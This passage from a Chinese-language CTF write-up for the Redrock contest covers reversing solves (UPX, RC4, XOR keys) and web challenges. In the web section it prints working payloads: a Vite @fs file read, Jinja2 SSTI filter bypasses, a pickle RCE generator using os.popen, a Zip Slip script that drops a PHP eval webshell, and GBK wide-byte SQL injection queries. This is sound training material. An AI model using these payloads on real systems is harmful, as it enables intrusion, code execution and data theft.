f2 = "".join([chr((j << 1) | k) for j, k in zip(p2_j, p2_k)])

# Part 3: 直接转换
p3 = (95, 48, 112, 53, 95, 64, 114, 101, 95)
f3 = "".join([chr(x) for x in p3])

# Part 4: 取反逆运算
p4 = (-100, -49, -110, -110, -49, -111, -96, -50, -111, -96)
f4 = "".join([chr(~x & 0xFF) for x in p4])

# Part 5: 异或逆运算
p5 = (1131895, 1131878, 1131811, 1131876, 1131872, 1131851, 1131808, 1131896, 1131891, 1131812, 1131809, 1131881)
f5 = "".join([chr(x ^ 1131796) for x in p5])

print("Flag:", f1 + f2 + f3 + f4 + f5)
redrock{b1tw153_0p5_@re_c0mm0n_1n_cr7pt_4lg05}

打电话的人(1)

根据提示修改魔改的upx

img

能成功脱壳

img

main函数

img

一个rc4加密,找到密文,密钥

img

img

序要求的是一个 45 字节字符串

img

rc4里有一个异或21,稍微魔改了一下

img

上厨子解码发现差一个括号,可能故意这样设计的

没手也能做

ida打开看字符串

img

将错就错

img

密文

1
2
3
4
5
6
7
8
9
3E 62 3B 79 55 3B 79 55 78 39 6B 66 55 6C 3B 3E 6D
MOV AL, 0EH ; 初始化 AL 为 0x0E
CRLF ; 2. 调用换行宏
MOV BH, AL ; 3. 将 AL 赋值给 BH 作为密钥
FLAG:
MOV DL,[SI] ; 取输入的字符
MOV BL,[DI] ; 取密文 (DATA_MSG)
XOR BL,BH ; 密文与 BH 进行异或
CMP BL,DL ; 比较结果

使用 0x0E 对 密文 进行异或解密得到的是乱码

仔细看这段代码

1
2
3
4
5
6
7
CRLF MACRO
MOV AH, 02H
MOV DL, 0DH
INT 21H ; 输出回车
MOV DL, 0AH ; DL 被赋值 0x0A
INT 21H ; 输出换行
ENDM

当执行 INT 21H (输出字符)时,AL 寄存器往往会被修改为最后输出字符的 ASCII 码。 由于宏的最后一步是输出换行符 0x0A,在宏执行结束后,AL 的值实际上从 0x0E 变成了 0x0A。

因此,MOV BH, AL 执行时,实际的密钥是 **0x0A**。

img

1
Redrock{4h1s_1s_r3al_f14g}

Web

vite

题目信息:

flag在/flag里 出题人:call1ng

vite版本为6.2.2

vite都更新到7.3了,你这也太老了吧

根据题目描述和提示去网上找一个一个cve,说可以通过利用@fs路径读取加上添加?raw参数绕过安全检查

payload@fs/flag?raw

img

1
Redrock{you_aRe_a_6R34t_C7f_p14YeR_36f878a81685}

猫猫狗狗迷人眼

提示说ssti,但是没找到参数点,后来直接在url后面尝试49发现返回49

img

过滤了中括号

img

还过滤了点号

img

获取 object 基类{{ ''|attr('`**`cla'+'ss`**`')|attr('`**`ba'+'se`**`') }}

得到Request URL: /<class 'object'>

获取完整 Python 子类列表

1
{{ ''|attr('`**`cla'+'ss`**`')|attr('`**`ba'+'se`**`')|attr('`**`subcl'+'asses`**`')() }}

img

利用FileLoader文件读取

1
{{ ''|attr('`**`cla'+'ss`**`')|attr('`**`ba'+'se`**`')|attr('`**`subcl'+'asses`**`')()|attr('`**`getitem`**`')(118)|attr('get_data')(0,'/flag') }}

得到

img

pickle

img

结合题目提示pickle,抓包看到了参数点是cookie里的test

原始数据反序列化后是字典{'username': 'redeckers'}

满足字典的形式利用eval内置函数封装来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import base64

class GenPayload:
def __reduce__(self):
cmd = 'ls /'
func = eval
args = (f"{{'username': __import__('os').popen('{cmd}').read()}}",)
return (func, args)

# 生成 Payload
payload = pickle.dumps(GenPayload())
payload_b64 = base64.b64encode(payload).decode()
print(payload_b64)

执行成功得到

img

接着直接cat /f*读取flag

img

Mvegetable的作业

看源码

服务器接收文件 ,生成随机目录 md5(time+rand) 解压 检查并删除非法文件

如果在压缩包里把文件名改成 ../../shell.php,unzip会把文件往上层目录放。

利用 Zip Slip(压缩包目录穿越)漏洞,编写 脚本构造包含 ../../shell.php 恶意文件名的压缩包,利用 PHP 解压逻辑未过滤 ../ 的缺陷,让 Webshell 在解压时,直接放到服务器的网站根目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import zipfile

def create_root_exploit():

# 创建压缩包
zip_name = 'root_gamble.zip'
with zipfile.ZipFile(zip_name, 'w') as zf:

target_name = '../../shell.php'

# 密码是 cmd
payload = '<?php echo "<h2>Success! I am in Root!</h2>"; @eval($_POST["cmd"]); ?>'

zf.writestr(target_name, payload)


if __name__ == '__main__':
create_root_exploit()

上传生成的压缩包,在访问文件

img

看到已经成功,直接输出flag

img

老旧的黑客系统

源码审计,我们发现代码虽然使用了 PDO 预处理,但因未禁用“模拟预处理”且涉及 GBK 编码转换,导致了宽字节注入漏洞;可以利用 %df(十六进制)与自动生成的转义符 \ 组合成一个 GBK 汉字,成功让单引号逃逸并闭合 SQL 语句,从而绕过了登录验证。

payload:

1
username=admin%df%27+or+1=1%23&password=123

img

发现能成功登录但是没什么信息李四账户

再次查看源码,发现

img

程序会回显 SQL 报错信息。使用 报错注入 来提取数据。

利用 updatexml 函数制造 XPATH 语法错误,爆出当前数据库名

1
username=x%df%27+or+updatexml(1,concat(0x7e,database(),0x7e),1)%23&password=123

img

获取当前数据库下的所有表名

1
username=x%df%27+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)%23&password=123

img

获取 secret 表里的字段名。 0x736563726574 是 secret 的十六进制编码

1
username=x%df%27+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name=0x736563726574),0x7e),1)%23&password=123

img

读取flag

1
username=x%df%27+or+updatexml(1,concat(0x7e,(select+flag+from+secret),0x7e),1)%23&password=123

img

发现只有一部分,因为报错回显长度限制(32字符)

使用 substr 跳过前 27 个字符,读取剩余部分

img

拼接起来得到:

1
REDROCK{In5ecur3_m0ck_pre-comp1lation}